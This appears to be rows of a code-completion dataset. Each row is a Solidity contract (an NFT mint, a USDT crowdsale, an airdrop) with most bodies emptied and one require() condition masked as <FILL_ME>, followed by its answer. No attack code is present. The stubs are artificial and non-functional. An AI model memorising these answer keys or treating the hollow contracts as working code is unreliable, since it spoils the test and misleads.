function setSaleStage(SaleStage _saleState) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setPause(bool _paused) public onlyOwner {
}
function mintTreasury(address to, uint256 _amount) external onlyOwner {
}
function airdrop(address[] memory to) external onlyOwner {
}
// IERC2981
function setRoyaltyInfo(address payable receiver, uint96 numerator) public onlyOwner {
}
bool private isAllowTransfer = false;
function setPrice(uint256 newPrice) public onlyOwner {
}
function assertAllowTransfer(address from) internal view {
}
function setAllowTransfer(bool _isAllow) public onlyOwner {
}
// OperatorFilterer
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function toggleOperatorFilteringEnabled() external onlyOwner {
}
function _operatorFilteringEnabled() internal view virtual override returns (bool) {
}
// ERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
struct SofaMonDashboard {
uint256 price;
uint256 totalTokens;
uint256 freeTotalTokens;
uint256 paidTotalTokens;
uint256 maxFreeState;
uint256 maxPaidState;
uint256 mintedFree;
uint256 mintedPaid;
bool paused;
uint256 userFreeMinted;
uint256 userPublicMinted;
SaleStage stage;
}
function dashboardStatus(address _addr) public view returns (SofaMonDashboard memory dashboard) {
}
}
| publicMinted[msg.sender]+_amount<=maxPaidState,"Exceeding max tokens of Public sale" | 89,850 | publicMinted[msg.sender]+_amount<=maxPaidState |
"Exceeding max supply of total tokens." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "closedsea/src/OperatorFilterer.sol";
contract SofaMon is ERC721A, ERC2981, OperatorFilterer, Ownable {
string public baseURI;
uint256 public price = 0.0169 ether;
uint256 public constant totalTokens = 10000;
uint256 public constant freeTotalTokens = 5555;
uint256 public constant maxFreeState = 0;
uint256 public constant maxPaidState = 3;
uint256 public mintedFree = 0;
uint256 public mintedPaid = 0;
uint256 public mintedTreasury = 0;
bytes32 private freeRoot;
bytes32 private paidRoot;
enum SaleStage {
Closed,
Free,
Public,
Finished
}
SaleStage public saleState = SaleStage.Closed;
mapping(address => uint256) public freeMinted;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public treasuryMinted;
bool public operatorFilteringEnabled = true;
bool public paused = false;
constructor() ERC721A("Sofamon Seed", "Sofamon Seed") {
}
function mintFree(
uint256 _amount,
uint256 _maxAmount,
bytes32[] calldata merkleProof
) external eoaCheck notPaused isStageValid(SaleStage.Free) {
}
function mintPublic(uint256 _amount) external payable notPaused isStageValid(SaleStage.Public) {
require(publicMinted[msg.sender] + _amount <= maxPaidState, "Exceeding max tokens of Public sale");
require(<FILL_ME>)
require(msg.value == price * _amount, "Incorrect Ether value.");
publicMinted[msg.sender] += _amount;
mintedPaid += _amount;
_mint(msg.sender, _amount);
}
modifier notPaused() {
}
//Functions
modifier isStageValid(SaleStage requiredState) {
}
modifier eoaCheck() {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setBaseURI(string memory newbaseURI) public onlyOwner {
}
function setSaleStage(SaleStage _saleState) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setPause(bool _paused) public onlyOwner {
}
function mintTreasury(address to, uint256 _amount) external onlyOwner {
}
function airdrop(address[] memory to) external onlyOwner {
}
// IERC2981
function setRoyaltyInfo(address payable receiver, uint96 numerator) public onlyOwner {
}
bool private isAllowTransfer = false;
function setPrice(uint256 newPrice) public onlyOwner {
}
function assertAllowTransfer(address from) internal view {
}
function setAllowTransfer(bool _isAllow) public onlyOwner {
}
// OperatorFilterer
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function toggleOperatorFilteringEnabled() external onlyOwner {
}
function _operatorFilteringEnabled() internal view virtual override returns (bool) {
}
// ERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
struct SofaMonDashboard {
uint256 price;
uint256 totalTokens;
uint256 freeTotalTokens;
uint256 paidTotalTokens;
uint256 maxFreeState;
uint256 maxPaidState;
uint256 mintedFree;
uint256 mintedPaid;
bool paused;
uint256 userFreeMinted;
uint256 userPublicMinted;
SaleStage stage;
}
function dashboardStatus(address _addr) public view returns (SofaMonDashboard memory dashboard) {
}
}
| totalSupply()+_amount<=totalTokens,"Exceeding max supply of total tokens." | 89,850 | totalSupply()+_amount<=totalTokens |
"Exceeding max supply of total tokens." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "closedsea/src/OperatorFilterer.sol";
contract SofaMon is ERC721A, ERC2981, OperatorFilterer, Ownable {
string public baseURI;
uint256 public price = 0.0169 ether;
uint256 public constant totalTokens = 10000;
uint256 public constant freeTotalTokens = 5555;
uint256 public constant maxFreeState = 0;
uint256 public constant maxPaidState = 3;
uint256 public mintedFree = 0;
uint256 public mintedPaid = 0;
uint256 public mintedTreasury = 0;
bytes32 private freeRoot;
bytes32 private paidRoot;
enum SaleStage {
Closed,
Free,
Public,
Finished
}
SaleStage public saleState = SaleStage.Closed;
mapping(address => uint256) public freeMinted;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public treasuryMinted;
bool public operatorFilteringEnabled = true;
bool public paused = false;
constructor() ERC721A("Sofamon Seed", "Sofamon Seed") {
}
function mintFree(
uint256 _amount,
uint256 _maxAmount,
bytes32[] calldata merkleProof
) external eoaCheck notPaused isStageValid(SaleStage.Free) {
}
function mintPublic(uint256 _amount) external payable notPaused isStageValid(SaleStage.Public) {
}
modifier notPaused() {
}
//Functions
modifier isStageValid(SaleStage requiredState) {
}
modifier eoaCheck() {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setBaseURI(string memory newbaseURI) public onlyOwner {
}
function setSaleStage(SaleStage _saleState) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setPause(bool _paused) public onlyOwner {
}
function mintTreasury(address to, uint256 _amount) external onlyOwner {
}
function airdrop(address[] memory to) external onlyOwner {
require(<FILL_ME>)
for (uint i = 0; i < to.length; ) {
_mint(to[i], 1);
treasuryMinted[to[i]] += 1;
unchecked {
i++;
}
}
}
// IERC2981
function setRoyaltyInfo(address payable receiver, uint96 numerator) public onlyOwner {
}
bool private isAllowTransfer = false;
function setPrice(uint256 newPrice) public onlyOwner {
}
function assertAllowTransfer(address from) internal view {
}
function setAllowTransfer(bool _isAllow) public onlyOwner {
}
// OperatorFilterer
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function toggleOperatorFilteringEnabled() external onlyOwner {
}
function _operatorFilteringEnabled() internal view virtual override returns (bool) {
}
// ERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
struct SofaMonDashboard {
uint256 price;
uint256 totalTokens;
uint256 freeTotalTokens;
uint256 paidTotalTokens;
uint256 maxFreeState;
uint256 maxPaidState;
uint256 mintedFree;
uint256 mintedPaid;
bool paused;
uint256 userFreeMinted;
uint256 userPublicMinted;
SaleStage stage;
}
function dashboardStatus(address _addr) public view returns (SofaMonDashboard memory dashboard) {
}
}
| totalSupply()+to.length<=totalTokens,"Exceeding max supply of total tokens." | 89,850 | totalSupply()+to.length<=totalTokens |
"Crowdsale: usdt is the zero address" | pragma solidity 0.8.17;
contract Last_Ico is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
IERC20 private _usdt;
// Address where funds are collected
address private _wallet;
address private _tokenWallet;
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
uint256 private _presaleSupply = 12500000 ether;
uint256 private _minContribution = 20 * 10**6;
uint256 private _maxContribution = 5000 * 10**6;
uint256 private _totalDistribution;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate_, address wallet_, IERC20 token_, IERC20 usdt_, address tokenWallet_) {
require(rate_ > 0, "Crowdsale: rate is 0");
require(wallet_ != address(0), "Crowdsale: wallet is the zero address");
require(address(token_) != address(0), "Crowdsale: token is the zero address");
require(<FILL_ME>)
require(tokenWallet_ != address(0), "Crowdsale: token wallet is the zero address");
_rate = rate_;
_wallet = wallet_;
_token = token_;
_usdt = usdt_;
_tokenWallet = tokenWallet_;
}
function token() public view returns (IERC20) {
}
function wallet() public view returns (address) {
}
function tokenWallet() public view returns (address) {
}
function rate() public view returns (uint256) {
}
function weiRaised() public view returns (uint256) {
}
function totalDistribution() public view returns (uint256) {
}
function remainingTokens() public view returns (uint256) {
}
function buyTokens(address beneficiary, uint256 amount) public nonReentrant {
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
}
}
| address(usdt_)!=address(0),"Crowdsale: usdt is the zero address" | 89,966 | address(usdt_)!=address(0) |
"Crowdsale: token distribution completed" | pragma solidity 0.8.17;
contract Last_Ico is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
IERC20 private _usdt;
// Address where funds are collected
address private _wallet;
address private _tokenWallet;
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
uint256 private _presaleSupply = 12500000 ether;
uint256 private _minContribution = 20 * 10**6;
uint256 private _maxContribution = 5000 * 10**6;
uint256 private _totalDistribution;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate_, address wallet_, IERC20 token_, IERC20 usdt_, address tokenWallet_) {
}
function token() public view returns (IERC20) {
}
function wallet() public view returns (address) {
}
function tokenWallet() public view returns (address) {
}
function rate() public view returns (uint256) {
}
function weiRaised() public view returns (uint256) {
}
function totalDistribution() public view returns (uint256) {
}
function remainingTokens() public view returns (uint256) {
}
function buyTokens(address beneficiary, uint256 amount) public nonReentrant {
uint256 weiAmount = amount;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
require(<FILL_ME>)
_usdt.safeTransferFrom(msg.sender, _wallet, weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_totalDistribution = _totalDistribution.add(tokens);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
}
}
| _totalDistribution.add(tokens)<=_presaleSupply,"Crowdsale: token distribution completed" | 89,966 | _totalDistribution.add(tokens)<=_presaleSupply |
null | pragma solidity ^0.8.0;
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract AirdropContract {
using SafeMath for uint;
IERC20 token;
address private owner;
mapping(address => bool) private whitelist;
mapping(address => bool) private Claimed;
mapping (address => uint256)private Amount;
uint256 private _totalWhitelist;
uint256 private _totalClaimed;
bool private _switch;
constructor(address _token) {
}
function addWhitelist(address[] memory addressesToAdd , uint256 _amount) external onlyOwner {
}
function removeWhitelist(address[] memory addressesToRemove) external onlyOwner {
}
function claim ()external {
require(whitelist[msg.sender] == true);
require(<FILL_ME>)
require(token.balanceOf(address(this)) > 0);
require(Switch() == true);
token.transfer(msg.sender,tokenAmount(msg.sender));
_totalClaimed = _totalClaimed.add(1);
Claimed[msg.sender] = true;
Amount[msg.sender] = 0;
}
function isWhitelisted(address addr) public view returns (bool) {
}
function isClaimeded(address addr) public view returns (bool) {
}
function totalWhitelist() public view returns (uint256) {
}
function totalClaimed() public view returns (uint256) {
}
function tokenAmount(address addr) public view returns (uint256) {
}
function Switch() public view returns (bool) {
}
function setSwitch(bool switch_) external onlyOwner {
}
modifier onlyOwner() {
}
}
| Claimed[msg.sender]==false | 90,010 | Claimed[msg.sender]==false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.